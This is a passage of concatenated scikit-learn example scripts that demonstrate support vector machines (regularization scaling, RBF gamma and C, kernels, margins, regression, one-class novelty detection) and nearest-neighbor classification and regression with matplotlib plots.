equation:


.. math::

    C \sum_{i=1, n} \mathcal{L} (f(x_i), y_i) + \Omega (w)

where

    - :math:`C` is used to set the amount of regularization
    - :math:`\mathcal{L}` is a `loss` function of our samples
      and our model parameters.
    - :math:`\Omega` is a `penalty` function of our model parameters

If we consider the loss function to be the individual error per
sample, then the data-fit term, or the sum of the error for each sample, will
increase as we add more samples. The penalization term, however, will not
increase.

When using, for example, :ref:`cross validation <cross_validation>`, to
set the amount of regularization with `C`, there will be a
different amount of samples between the main problem and the smaller problems
within the folds of the cross validation.

Since our loss function is dependent on the amount of samples, the latter
will influence the selected value of `C`.
The question that arises is `How do we optimally adjust C to
account for the different amount of training samples?`

The figures below are used to illustrate the effect of scaling our
`C` to compensate for the change in the number of samples, in the
case of using an `l1` penalty, as well as the `l2` penalty.

l1-penalty case
-----------------
In the `l1` case, theory says that prediction consistency
(i.e. that under given hypothesis, the estimator
learned predicts as well as a model knowing the true distribution)
is not possible because of the bias of the `l1`. It does say, however,
that model consistency, in terms of finding the right set of non-zero
parameters as well as their signs, can be achieved by scaling
`C1`.

l2-penalty case
-----------------
The theory says that in order to achieve prediction consistency, the
penalty parameter should be kept constant
as the number of samples grow.

Simulations
------------

The two figures below plot the values of `C` on the `x-axis` and the
corresponding cross-validation scores on the `y-axis`, for several different
fractions of a generated data-set.

In the `l1` penalty case, the cross-validation-error correlates best with
the test-error, when scaling our `C` with the number of samples, `n`,
which can be seen in the first figure.

For the `l2` penalty case, the best result comes from the case where `C`
is not scaled.

.. topic:: Note:

    Two separate datasets are used for the two different plots. The reason
    behind this is the `l1` case works better on sparse data, while `l2`
    is better suited to the non-sparse case.
"""
print(__doc__)


# Author: Andreas Mueller <amueller@ais.uni-bonn.de>
#         Jaques Grobler <jaques.grobler@inria.fr>
# License: BSD 3 clause


import numpy as np
import matplotlib.pyplot as plt

from sklearn.svm import LinearSVC
from sklearn.model_selection import ShuffleSplit
from sklearn.model_selection import GridSearchCV
from sklearn.utils import check_random_state
from sklearn import datasets

rnd = check_random_state(1)

# set up dataset
n_samples = 100
n_features = 300

# l1 data (only 5 informative features)
X_1, y_1 = datasets.make_classification(n_samples=n_samples,
                                        n_features=n_features, n_informative=5,
                                        random_state=1)

# l2 data: non sparse, but less features
y_2 = np.sign(.5 - rnd.rand(n_samples))
X_2 = rnd.randn(n_samples, n_features / 5) + y_2[:, np.newaxis]
X_2 += 5 * rnd.randn(n_samples, n_features / 5)

clf_sets = [(LinearSVC(penalty='l1', loss='squared_hinge', dual=False,
                       tol=1e-3),
             np.logspace(-2.3, -1.3, 10), X_1, y_1),
            (LinearSVC(penalty='l2', loss='squared_hinge', dual=True,
                       tol=1e-4),
             np.logspace(-4.5, -2, 10), X_2, y_2)]

colors = ['navy', 'cyan', 'darkorange']
lw = 2

for fignum, (clf, cs, X, y) in enumerate(clf_sets):
    # set up the plot for each regressor
    plt.figure(fignum, figsize=(9, 10))

    for k, train_size in enumerate(np.linspace(0.3, 0.7, 3)[::-1]):
        param_grid = dict(C=cs)
        # To get nice curve, we need a large number of iterations to
        # reduce the variance
        grid = GridSearchCV(clf, refit=False, param_grid=param_grid,
                            cv=ShuffleSplit(train_size=train_size,
                                            n_splits=250, random_state=1))
        grid.fit(X, y)
        scores = grid.results_['test_mean_score']

        scales = [(1, 'No scaling'),
                  ((n_samples * train_size), '1/n_samples'),
                  ]

        for subplotnum, (scaler, name) in enumerate(scales):
            plt.subplot(2, 1, subplotnum + 1)
            plt.xlabel('C')
            plt.ylabel('CV Score')
            grid_cs = cs * float(scaler)  # scale the C's
            plt.semilogx(grid_cs, scores, label="fraction %.2f" %
                         train_size, color=colors[k], lw=lw)
            plt.title('scaling=%s, penalty=%s, loss=%s' %
                      (name, clf.penalty, clf.loss))

    plt.legend(loc="best")
plt.show()






"""
==============
Non-linear SVM
==============

Perform binary classification using non-linear SVC
with RBF kernel. The target to predict is a XOR of the
inputs.

The color map illustrates the decision function learned by the SVC.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from sklearn import svm

xx, yy = np.meshgrid(np.linspace(-3, 3, 500),
                     np.linspace(-3, 3, 500))
np.random.seed(0)
X = np.random.randn(300, 2)
Y = np.logical_xor(X[:, 0] > 0, X[:, 1] > 0)

# fit the model
clf = svm.NuSVC()
clf.fit(X, Y)

# plot the decision function for each datapoint on the grid
Z = clf.decision_function(np.c_[xx.ravel(), yy.ravel()])
Z = Z.reshape(xx.shape)

plt.imshow(Z, interpolation='nearest',
           extent=(xx.min(), xx.max(), yy.min(), yy.max()), aspect='auto',
           origin='lower', cmap=plt.cm.PuOr_r)
contours = plt.contour(xx, yy, Z, levels=[0], linewidths=2,
                       linetypes='--')
plt.scatter(X[:, 0], X[:, 1], s=30, c=Y, cmap=plt.cm.Paired)
plt.xticks(())
plt.yticks(())
plt.axis([-3, 3, -3, 3])
plt.show()






'''
==================
RBF SVM parameters
==================

This example illustrates the effect of the parameters ``gamma`` and ``C`` of
the Radial Basis Function (RBF) kernel SVM.

Intuitively, the ``gamma`` parameter defines how far the influence of a single
training example reaches, with low values meaning 'far' and high values meaning
'close'. The ``gamma`` parameters can be seen as the inverse of the radius of
influence of samples selected by the model as support vectors.

The ``C`` parameter trades off misclassification of training examples against
simplicity of the decision surface. A low ``C`` makes the decision surface
smooth, while a high ``C`` aims at classifying all training examples correctly
by giving the model freedom to select more samples as support vectors.

The first plot is a visualization of the decision function for a variety of
parameter values on a simplified classification problem involving only 2 input
features and 2 possible target classes (binary classification). Note that this
kind of plot is not possible to do for problems with more features or target
classes.

The second plot is a heatmap of the classifier's cross-validation accuracy as a
function of ``C`` and ``gamma``. For this example we explore a relatively large
grid for illustration purposes. In practice, a logarithmic grid from
:math:`10^{-3}` to :math:`10^3` is usually sufficient. If the best parameters
lie on the boundaries of the grid, it can be extended in that direction in a
subsequent search.

Note that the heat map plot has a special colorbar with a midpoint value close
to the score values of the best performing models so as to make it easy to tell
them appart in the blink of an eye.

The behavior of the model is very sensitive to the ``gamma`` parameter. If
``gamma`` is too large, the radius of the area of influence of the support
vectors only includes the support vector itself and no amount of
regularization with ``C`` will be able to prevent overfitting.

When ``gamma`` is very small, the model is too constrained and cannot capture
the complexity or "shape" of the data. The region of influence of any selected
support vector would include the whole training set. The resulting model will
behave similarly to a linear model with a set of hyperplanes that separate the
centers of high density of any pair of two classes.

For intermediate values, we can see on the second plot that good models can
be found on a diagonal of ``C`` and ``gamma``. Smooth models (lower ``gamma``
values) can be made more complex by selecting a larger number of support
vectors (larger ``C`` values) hence the diagonal of good performing models.

Finally one can also observe that for some intermediate values of ``gamma`` we
get equally performing models when ``C`` becomes very large: it is not
necessary to regularize by limiting the number of support vectors. The radius of
the RBF kernel alone acts as a good structural regularizer. In practice though
it might still be interesting to limit the number of support vectors with a
lower value of ``C`` so as to favor models that use less memory and that are
faster to predict.

We should also note that small differences in scores results from the random
splits of the cross-validation procedure. Those spurious variations can be
smoothed out by increasing the number of CV iterations ``n_splits`` at the
expense of compute time. Increasing the value number of ``C_range`` and
``gamma_range`` steps will increase the resolution of the hyper-parameter heat
map.

'''
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from matplotlib.colors import Normalize

from sklearn.svm import SVC
from sklearn.preprocessing import StandardScaler
from sklearn.datasets import load_iris
from sklearn.model_selection import StratifiedShuffleSplit
from sklearn.model_selection import GridSearchCV


# Utility function to move the midpoint of a colormap to be around
# the values of interest.

class MidpointNormalize(Normalize):

    def __init__(self, vmin=None, vmax=None, midpoint=None, clip=False):
        self.midpoint = midpoint
        Normalize.__init__(self, vmin, vmax, clip)

    def __call__(self, value, clip=None):
        x, y = [self.vmin, self.midpoint, self.vmax], [0, 0.5, 1]
        return np.ma.masked_array(np.interp(value, x, y))

##############################################################################
# Load and prepare data set
#
# dataset for grid search

iris = load_iris()
X = iris.data
y = iris.target

# Dataset for decision function visualization: we only keep the first two
# features in X and sub-sample the dataset to keep only 2 classes and
# make it a binary classification problem.

X_2d = X[:, :2]
X_2d = X_2d[y > 0]
y_2d = y[y > 0]
y_2d -= 1

# It is usually a good idea to scale the data for SVM training.
# We are cheating a bit in this example in scaling all of the data,
# instead of fitting the transformation on the training set and
# just applying it on the test set.

scaler = StandardScaler()
X = scaler.fit_transform(X)
X_2d = scaler.fit_transform(X_2d)

##############################################################################
# Train classifiers
#
# For an initial search, a logarithmic grid with basis
# 10 is often helpful. Using a basis of 2, a finer
# tuning can be achieved but at a much higher cost.

C_range = np.logspace(-2, 10, 13)
gamma_range = np.logspace(-9, 3, 13)
param_grid = dict(gamma=gamma_range, C=C_range)
cv = StratifiedShuffleSplit(n_splits=5, test_size=0.2, random_state=42)
grid = GridSearchCV(SVC(), param_grid=param_grid, cv=cv)
grid.fit(X, y)

print("The best parameters are %s with a score of %0.2f"
      % (grid.best_params_, grid.best_score_))

# Now we need to fit a classifier for all parameters in the 2d version
# (we use a smaller set of parameters here because it takes a while to train)

C_2d_range = [1e-2, 1, 1e2]
gamma_2d_range = [1e-1, 1, 1e1]
classifiers = []
for C in C_2d_range:
    for gamma in gamma_2d_range:
        clf = SVC(C=C, gamma=gamma)
        clf.fit(X_2d, y_2d)
        classifiers.append((C, gamma, clf))

##############################################################################
# visualization
#
# draw visualization of parameter effects

plt.figure(figsize=(8, 6))
xx, yy = np.meshgrid(np.linspace(-3, 3, 200), np.linspace(-3, 3, 200))
for (k, (C, gamma, clf)) in enumerate(classifiers):
    # evaluate decision function in a grid
    Z = clf.decision_function(np.c_[xx.ravel(), yy.ravel()])
    Z = Z.reshape(xx.shape)

    # visualize decision function for these parameters
    plt.subplot(len(C_2d_range), len(gamma_2d_range), k + 1)
    plt.title("gamma=10^%d, C=10^%d" % (np.log10(gamma), np.log10(C)),
              size='medium')

    # visualize parameter's effect on decision function
    plt.pcolormesh(xx, yy, -Z, cmap=plt.cm.RdBu)
    plt.scatter(X_2d[:, 0], X_2d[:, 1], c=y_2d, cmap=plt.cm.RdBu_r)
    plt.xticks(())
    plt.yticks(())
    plt.axis('tight')

scores = grid.results_['test_mean_score'].reshape(len(C_range),
                                                  len(gamma_range))

# Draw heatmap of the validation accuracy as a function of gamma and C
#
# The score are encoded as colors with the hot colormap which varies from dark
# red to bright yellow. As the most interesting scores are all located in the
# 0.92 to 0.97 range we use a custom normalizer to set the mid-point to 0.92 so
# as to make it easier to visualize the small variations of score values in the
# interesting range while not brutally collapsing all the low score values to
# the same color.

plt.figure(figsize=(8, 6))
plt.subplots_adjust(left=.2, right=0.95, bottom=0.15, top=0.95)
plt.imshow(scores, interpolation='nearest', cmap=plt.cm.hot,
           norm=MidpointNormalize(vmin=0.2, midpoint=0.92))
plt.xlabel('gamma')
plt.ylabel('C')
plt.colorbar()
plt.xticks(np.arange(len(gamma_range)), gamma_range, rotation=45)
plt.yticks(np.arange(len(C_range)), C_range)
plt.title('Validation accuracy')
plt.show()






#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
=========================================================
SVM Margins Example
=========================================================
The plots below illustrate the effect the parameter `C` has
on the separation line. A large value of `C` basically tells
our model that we do not have that much faith in our data's
distribution, and will only consider points close to line
of separation.

A small value of `C` includes more/all the observations, allowing
the margins to be calculated using all the data in the area.

"""
print(__doc__)


# Code source: Gaël Varoquaux
# Modified for documentation by Jaques Grobler
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt
from sklearn import svm

# we create 40 separable points
np.random.seed(0)
X = np.r_[np.random.randn(20, 2) - [2, 2], np.random.randn(20, 2) + [2, 2]]
Y = [0] * 20 + [1] * 20

# figure number
fignum = 1

# fit the model
for name, penalty in (('unreg', 1), ('reg', 0.05)):

    clf = svm.SVC(kernel='linear', C=penalty)
    clf.fit(X, Y)

    # get the separating hyperplane
    w = clf.coef_[0]
    a = -w[0] / w[1]
    xx = np.linspace(-5, 5)
    yy = a * xx - (clf.intercept_[0]) / w[1]

    # plot the parallels to the separating hyperplane that pass through the
    # support vectors
    margin = 1 / np.sqrt(np.sum(clf.coef_ ** 2))
    yy_down = yy + a * margin
    yy_up = yy - a * margin

    # plot the line, the points, and the nearest vectors to the plane
    plt.figure(fignum, figsize=(4, 3))
    plt.clf()
    plt.plot(xx, yy, 'k-')
    plt.plot(xx, yy_down, 'k--')
    plt.plot(xx, yy_up, 'k--')

    plt.scatter(clf.support_vectors_[:, 0], clf.support_vectors_[:, 1], s=80,
                facecolors='none', zorder=10)
    plt.scatter(X[:, 0], X[:, 1], c=Y, zorder=10, cmap=plt.cm.Paired)

    plt.axis('tight')
    x_min = -4.8
    x_max = 4.2
    y_min = -6
    y_max = 6

    XX, YY = np.mgrid[x_min:x_max:200j, y_min:y_max:200j]
    Z = clf.predict(np.c_[XX.ravel(), YY.ravel()])

    # Put the result into a color plot
    Z = Z.reshape(XX.shape)
    plt.figure(fignum, figsize=(4, 3))
    plt.pcolormesh(XX, YY, Z, cmap=plt.cm.Paired)

    plt.xlim(x_min, x_max)
    plt.ylim(y_min, y_max)

    plt.xticks(())
    plt.yticks(())
    fignum = fignum + 1

plt.show()






#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
=========================================================
SVM-Kernels
=========================================================

Three different types of SVM-Kernels are displayed below.
The polynomial and RBF are especially useful when the
data-points are not linearly separable.


"""
print(__doc__)


# Code source: Gaël Varoquaux
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt
from sklearn import svm


# Our dataset and targets
X = np.c_[(.4, -.7),
          (-1.5, -1),
          (-1.4, -.9),
          (-1.3, -1.2),
          (-1.1, -.2),
          (-1.2, -.4),
          (-.5, 1.2),
          (-1.5, 2.1),
          (1, 1),
          # --
          (1.3, .8),
          (1.2, .5),
          (.2, -2),
          (.5, -2.4),
          (.2, -2.3),
          (0, -2.7),
          (1.3, 2.1)].T
Y = [0] * 8 + [1] * 8

# figure number
fignum = 1

# fit the model
for kernel in ('linear', 'poly', 'rbf'):
    clf = svm.SVC(kernel=kernel, gamma=2)
    clf.fit(X, Y)

    # plot the line, the points, and the nearest vectors to the plane
    plt.figure(fignum, figsize=(4, 3))
    plt.clf()

    plt.scatter(clf.support_vectors_[:, 0], clf.support_vectors_[:, 1], s=80,
                facecolors='none', zorder=10)
    plt.scatter(X[:, 0], X[:, 1], c=Y, zorder=10, cmap=plt.cm.Paired)

    plt.axis('tight')
    x_min = -3
    x_max = 3
    y_min = -3
    y_max = 3

    XX, YY = np.mgrid[x_min:x_max:200j, y_min:y_max:200j]
    Z = clf.decision_function(np.c_[XX.ravel(), YY.ravel()])

    # Put the result into a color plot
    Z = Z.reshape(XX.shape)
    plt.figure(fignum, figsize=(4, 3))
    plt.pcolormesh(XX, YY, Z > 0, cmap=plt.cm.Paired)
    plt.contour(XX, YY, Z, colors=['k', 'k', 'k'], linestyles=['--', '-', '--'],
                levels=[-.5, 0, .5])

    plt.xlim(x_min, x_max)
    plt.ylim(y_min, y_max)

    plt.xticks(())
    plt.yticks(())
    fignum = fignum + 1
plt.show()






"""
======================
SVM with custom kernel
======================

Simple usage of Support Vector Machines to classify a sample. It will
plot the decision surface and the support vectors.

"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from sklearn import svm, datasets

# import some data to play with
iris = datasets.load_iris()
X = iris.data[:, :2]  # we only take the first two features. We could
                      # avoid this ugly slicing by using a two-dim dataset
Y = iris.target


def my_kernel(X, Y):
    """
    We create a custom kernel:

                 (2  0)
    k(X, Y) = X  (    ) Y.T
                 (0  1)
    """
    M = np.array([[2, 0], [0, 1.0]])
    return np.dot(np.dot(X, M), Y.T)


h = .02  # step size in the mesh

# we create an instance of SVM and fit out data.
clf = svm.SVC(kernel=my_kernel)
clf.fit(X, Y)

# Plot the decision boundary. For that, we will assign a color to each
# point in the mesh [x_min, x_max]x[y_min, y_max].
x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1
y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1
xx, yy = np.meshgrid(np.arange(x_min, x_max, h), np.arange(y_min, y_max, h))
Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])

# Put the result into a color plot
Z = Z.reshape(xx.shape)
plt.pcolormesh(xx, yy, Z, cmap=plt.cm.Paired)

# Plot also the training points
plt.scatter(X[:, 0], X[:, 1], c=Y, cmap=plt.cm.Paired)
plt.title('3-Class classification using Support Vector Machine with custom'
          ' kernel')
plt.axis('tight')
plt.show()






"""
==================================================
Plot different SVM classifiers in the iris dataset
==================================================

Comparison of different linear SVM classifiers on a 2D projection of the iris
dataset. We only consider the first 2 features of this dataset:

- Sepal length
- Sepal width

This example shows how to plot the decision surface for four SVM classifiers
with different kernels.

The linear models ``LinearSVC()`` and ``SVC(kernel='linear')`` yield slightly
different decision boundaries. This can be a consequence of the following
differences:

- ``LinearSVC`` minimizes the squared hinge loss while ``SVC`` minimizes the
  regular hinge loss.

- ``LinearSVC`` uses the One-vs-All (also known as One-vs-Rest) multiclass
  reduction while ``SVC`` uses the One-vs-One multiclass reduction.

Both linear models have linear decision boundaries (intersecting hyperplanes)
while the non-linear kernel models (polynomial or Gaussian RBF) have more
flexible non-linear decision boundaries with shapes that depend on the kind of
kernel and its parameters.

.. NOTE:: while plotting the decision function of classifiers for toy 2D
   datasets can help get an intuitive understanding of their respective
   expressive power, be aware that those intuitions don't always generalize to
   more realistic high-dimensional problems.

"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from sklearn import svm, datasets

# import some data to play with
iris = datasets.load_iris()
X = iris.data[:, :2]  # we only take the first two features. We could
                      # avoid this ugly slicing by using a two-dim dataset
y = iris.target

h = .02  # step size in the mesh

# we create an instance of SVM and fit out data. We do not scale our
# data since we want to plot the support vectors
C = 1.0  # SVM regularization parameter
svc = svm.SVC(kernel='linear', C=C).fit(X, y)
rbf_svc = svm.SVC(kernel='rbf', gamma=0.7, C=C).fit(X, y)
poly_svc = svm.SVC(kernel='poly', degree=3, C=C).fit(X, y)
lin_svc = svm.LinearSVC(C=C).fit(X, y)

# create a mesh to plot in
x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1
y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1
xx, yy = np.meshgrid(np.arange(x_min, x_max, h),
                     np.arange(y_min, y_max, h))

# title for the plots
titles = ['SVC with linear kernel',
          'LinearSVC (linear kernel)',
          'SVC with RBF kernel',
          'SVC with polynomial (degree 3) kernel']


for i, clf in enumerate((svc, lin_svc, rbf_svc, poly_svc)):
    # Plot the decision boundary. For that, we will assign a color to each
    # point in the mesh [x_min, x_max]x[y_min, y_max].
    plt.subplot(2, 2, i + 1)
    plt.subplots_adjust(wspace=0.4, hspace=0.4)

    Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])

    # Put the result into a color plot
    Z = Z.reshape(xx.shape)
    plt.contourf(xx, yy, Z, cmap=plt.cm.Paired, alpha=0.8)

    # Plot also the training points
    plt.scatter(X[:, 0], X[:, 1], c=y, cmap=plt.cm.Paired)
    plt.xlabel('Sepal length')
    plt.ylabel('Sepal width')
    plt.xlim(xx.min(), xx.max())
    plt.ylim(yy.min(), yy.max())
    plt.xticks(())
    plt.yticks(())
    plt.title(titles[i])

plt.show()






"""
===================================================================
Support Vector Regression (SVR) using linear and non-linear kernels
===================================================================

Toy example of 1D regression using linear, polynomial and RBF kernels.

"""
print(__doc__)

import numpy as np
from sklearn.svm import SVR
import matplotlib.pyplot as plt

###############################################################################
# Generate sample data
X = np.sort(5 * np.random.rand(40, 1), axis=0)
y = np.sin(X).ravel()

###############################################################################
# Add noise to targets
y[::5] += 3 * (0.5 - np.random.rand(8))

###############################################################################
# Fit regression model
svr_rbf = SVR(kernel='rbf', C=1e3, gamma=0.1)
svr_lin = SVR(kernel='linear', C=1e3)
svr_poly = SVR(kernel='poly', C=1e3, degree=2)
y_rbf = svr_rbf.fit(X, y).predict(X)
y_lin = svr_lin.fit(X, y).predict(X)
y_poly = svr_poly.fit(X, y).predict(X)

###############################################################################
# look at the results
lw = 2
plt.scatter(X, y, color='darkorange', label='data')
plt.hold('on')
plt.plot(X, y_rbf, color='navy', lw=lw, label='RBF model')
plt.plot(X, y_lin, color='c', lw=lw, label='Linear model')
plt.plot(X, y_poly, color='cornflowerblue', lw=lw, label='Polynomial model')
plt.xlabel('data')
plt.ylabel('target')
plt.title('Support Vector Regression')
plt.legend()
plt.show()






"""
=====================
SVM: Weighted samples
=====================

Plot decision function of a weighted dataset, where the size of points
is proportional to its weight.

The sample weighting rescales the C parameter, which means that the classifier
puts more emphasis on getting these points right. The effect might often be
subtle.
To emphasize the effect here, we particularly weight outliers, making the
deformation of the decision boundary very visible.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from sklearn import svm


def plot_decision_function(classifier, sample_weight, axis, title):
    # plot the decision function
    xx, yy = np.meshgrid(np.linspace(-4, 5, 500), np.linspace(-4, 5, 500))

    Z = classifier.decision_function(np.c_[xx.ravel(), yy.ravel()])
    Z = Z.reshape(xx.shape)

    # plot the line, the points, and the nearest vectors to the plane
    axis.contourf(xx, yy, Z, alpha=0.75, cmap=plt.cm.bone)
    axis.scatter(X[:, 0], X[:, 1], c=y, s=100 * sample_weight, alpha=0.9,
                 cmap=plt.cm.bone)

    axis.axis('off')
    axis.set_title(title)


# we create 20 points
np.random.seed(0)
X = np.r_[np.random.randn(10, 2) + [1, 1], np.random.randn(10, 2)]
y = [1] * 10 + [-1] * 10
sample_weight_last_ten = abs(np.random.randn(len(X)))
sample_weight_constant = np.ones(len(X))
# and bigger weights to some outliers
sample_weight_last_ten[15:] *= 5
sample_weight_last_ten[9] *= 15

# for reference, first fit without class weights

# fit the model
clf_weights = svm.SVC()
clf_weights.fit(X, y, sample_weight=sample_weight_last_ten)

clf_no_weights = svm.SVC()
clf_no_weights.fit(X, y)

fig, axes = plt.subplots(1, 2, figsize=(14, 6))
plot_decision_function(clf_no_weights, sample_weight_constant, axes[0],
                       "Constant weights")
plot_decision_function(clf_weights, sample_weight_last_ten, axes[1],
                       "Modified weights")

plt.show()






"""
==========================================
One-class SVM with non-linear kernel (RBF)
==========================================

An example using a one-class SVM for novelty detection.

:ref:`One-class SVM <svm_outlier_detection>` is an unsupervised
algorithm that learns a decision function for novelty detection:
classifying new data as similar or different to the training set.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
import matplotlib.font_manager
from sklearn import svm

xx, yy = np.meshgrid(np.linspace(-5, 5, 500), np.linspace(-5, 5, 500))
# Generate train data
X = 0.3 * np.random.randn(100, 2)
X_train = np.r_[X + 2, X - 2]
# Generate some regular novel observations
X = 0.3 * np.random.randn(20, 2)
X_test = np.r_[X + 2, X - 2]
# Generate some abnormal novel observations
X_outliers = np.random.uniform(low=-4, high=4, size=(20, 2))

# fit the model
clf = svm.OneClassSVM(nu=0.1, kernel="rbf", gamma=0.1)
clf.fit(X_train)
y_pred_train = clf.predict(X_train)
y_pred_test = clf.predict(X_test)
y_pred_outliers = clf.predict(X_outliers)
n_error_train = y_pred_train[y_pred_train == -1].size
n_error_test = y_pred_test[y_pred_test == -1].size
n_error_outliers = y_pred_outliers[y_pred_outliers == 1].size

# plot the line, the points, and the nearest vectors to the plane
Z = clf.decision_function(np.c_[xx.ravel(), yy.ravel()])
Z = Z.reshape(xx.shape)

plt.title("Novelty Detection")
plt.contourf(xx, yy, Z, levels=np.linspace(Z.min(), 0, 7), cmap=plt.cm.PuBu)
a = plt.contour(xx, yy, Z, levels=[0], linewidths=2, colors='darkred')
plt.contourf(xx, yy, Z, levels=[0, Z.max()], colors='palevioletred')

s = 40
b1 = plt.scatter(X_train[:, 0], X_train[:, 1], c='white', s=s)
b2 = plt.scatter(X_test[:, 0], X_test[:, 1], c='blueviolet', s=s)
c = plt.scatter(X_outliers[:, 0], X_outliers[:, 1], c='gold', s=s)
plt.axis('tight')
plt.xlim((-5, 5))
plt.ylim((-5, 5))
plt.legend([a.collections[0], b1, b2, c],
           ["learned frontier", "training observations",
            "new regular observations", "new abnormal observations"],
           loc="upper left",
           prop=matplotlib.font_manager.FontProperties(size=11))
plt.xlabel(
    "error train: %d/200 ; errors novel regular: %d/40 ; "
    "errors novel abnormal: %d/40"
    % (n_error_train, n_error_test, n_error_outliers))
plt.show()






"""
=========================================
SVM: Maximum margin separating hyperplane
=========================================

Plot the maximum margin separating hyperplane within a two-class
separable dataset using a Support Vector Machine classifier with
linear kernel.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from sklearn import svm

# we create 40 separable points
np.random.seed(0)
X = np.r_[np.random.randn(20, 2) - [2, 2], np.random.randn(20, 2) + [2, 2]]
Y = [0] * 20 + [1] * 20

# fit the model
clf = svm.SVC(kernel='linear')
clf.fit(X, Y)

# get the separating hyperplane
w = clf.coef_[0]
a = -w[0] / w[1]
xx = np.linspace(-5, 5)
yy = a * xx - (clf.intercept_[0]) / w[1]

# plot the parallels to the separating hyperplane that pass through the
# support vectors
b = clf.support_vectors_[0]
yy_down = a * xx + (b[1] - a * b[0])
b = clf.support_vectors_[-1]
yy_up = a * xx + (b[1] - a * b[0])

# plot the line, the points, and the nearest vectors to the plane
plt.plot(xx, yy, 'k-')
plt.plot(xx, yy_down, 'k--')
plt.plot(xx, yy_up, 'k--')

plt.scatter(clf.support_vectors_[:, 0], clf.support_vectors_[:, 1],
            s=80, facecolors='none')
plt.scatter(X[:, 0], X[:, 1], c=Y, cmap=plt.cm.Paired)

plt.axis('tight')
plt.show()






"""
================================
Nearest Neighbors Classification
================================

Sample usage of Nearest Neighbors classification.
It will plot the decision boundaries for each class.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from matplotlib.colors import ListedColormap
from sklearn import neighbors, datasets

n_neighbors = 15

# import some data to play with
iris = datasets.load_iris()
X = iris.data[:, :2]  # we only take the first two features. We could
                      # avoid this ugly slicing by using a two-dim dataset
y = iris.target

h = .02  # step size in the mesh

# Create color maps
cmap_light = ListedColormap(['#FFAAAA', '#AAFFAA', '#AAAAFF'])
cmap_bold = ListedColormap(['#FF0000', '#00FF00', '#0000FF'])

for weights in ['uniform', 'distance']:
    # we create an instance of Neighbours Classifier and fit the data.
    clf = neighbors.KNeighborsClassifier(n_neighbors, weights=weights)
    clf.fit(X, y)

    # Plot the decision boundary. For that, we will assign a color to each
    # point in the mesh [x_min, x_max]x[y_min, y_max].
    x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1
    y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1
    xx, yy = np.meshgrid(np.arange(x_min, x_max, h),
                         np.arange(y_min, y_max, h))
    Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])

    # Put the result into a color plot
    Z = Z.reshape(xx.shape)
    plt.figure()
    plt.pcolormesh(xx, yy, Z, cmap=cmap_light)

    # Plot also the training points
    plt.scatter(X[:, 0], X[:, 1], c=y, cmap=cmap_bold)
    plt.xlim(xx.min(), xx.max())
    plt.ylim(yy.min(), yy.max())
    plt.title("3-Class classification (k = %i, weights = '%s')"
              % (n_neighbors, weights))

plt.show()






"""
===============================
Nearest Centroid Classification
===============================

Sample usage of Nearest Centroid classification.
It will plot the decision boundaries for each class.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from matplotlib.colors import ListedColormap
from sklearn import datasets
from sklearn.neighbors import NearestCentroid

n_neighbors = 15

# import some data to play with
iris = datasets.load_iris()
X = iris.data[:, :2]  # we only take the first two features. We could
                      # avoid this ugly slicing by using a two-dim dataset
y = iris.target

h = .02  # step size in the mesh

# Create color maps
cmap_light = ListedColormap(['#FFAAAA', '#AAFFAA', '#AAAAFF'])
cmap_bold = ListedColormap(['#FF0000', '#00FF00', '#0000FF'])

for shrinkage in [None, .2]:
    # we create an instance of Neighbours Classifier and fit the data.
    clf = NearestCentroid(shrink_threshold=shrinkage)
    clf.fit(X, y)
    y_pred = clf.predict(X)
    print(shrinkage, np.mean(y == y_pred))
    # Plot the decision boundary. For that, we will assign a color to each
    # point in the mesh [x_min, x_max]x[y_min, y_max].
    x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1
    y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1
    xx, yy = np.meshgrid(np.arange(x_min, x_max, h),
                         np.arange(y_min, y_max, h))
    Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])

    # Put the result into a color plot
    Z = Z.reshape(xx.shape)
    plt.figure()
    plt.pcolormesh(xx, yy, Z, cmap=cmap_light)

    # Plot also the training points
    plt.scatter(X[:, 0], X[:, 1], c=y, cmap=cmap_bold)
    plt.title("3-Class classification (shrink_threshold=%r)"
              % shrinkage)
    plt.axis('tight')

plt.show()






"""
============================
Nearest Neighbors regression
============================

Demonstrate the resolution of a regression problem
using a k-Nearest Neighbor and the interpolation of the
target using both barycenter and constant weights.

"""
print(__doc__)

# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>
#         Fabian Pedregosa <fabian.pedregosa@inria.fr>
#
# License: BSD 3 clause (C) INRIA


###############################################################################
# Generate sample data
import numpy as np
import matplotlib.pyplot as plt
from sklearn import neighbors

np.random.seed(0)
X = np.sort(5 * np.random.rand(40, 1), axis=0)
T = np.linspace(0, 5, 500)[:, np.newaxis]
y = np.sin(X).ravel()

# Add noise to targets
y[::5] += 1 * (0.5 - np.random.rand(8))

###############################################################################
# Fit regression model
n_neighbors = 5

for i, weights in enumerate(['uniform', 'distance']):
    knn = neighbors.KNeighborsRegressor(n_neighbors, weights=weights)
    y_ = knn.fit(X, y).predict(T)

    plt.subplot(2, 1, i + 1)
    plt.scatter(X, y, c='k', label='data')
    plt.plot(T, y_, c='g', label='prediction')
    plt.axis('tight')
    plt.legend()
    plt.title("KNeighborsRegressor (k = %i, weights = '%s')" % (n_neighbors,
                                                                weights))

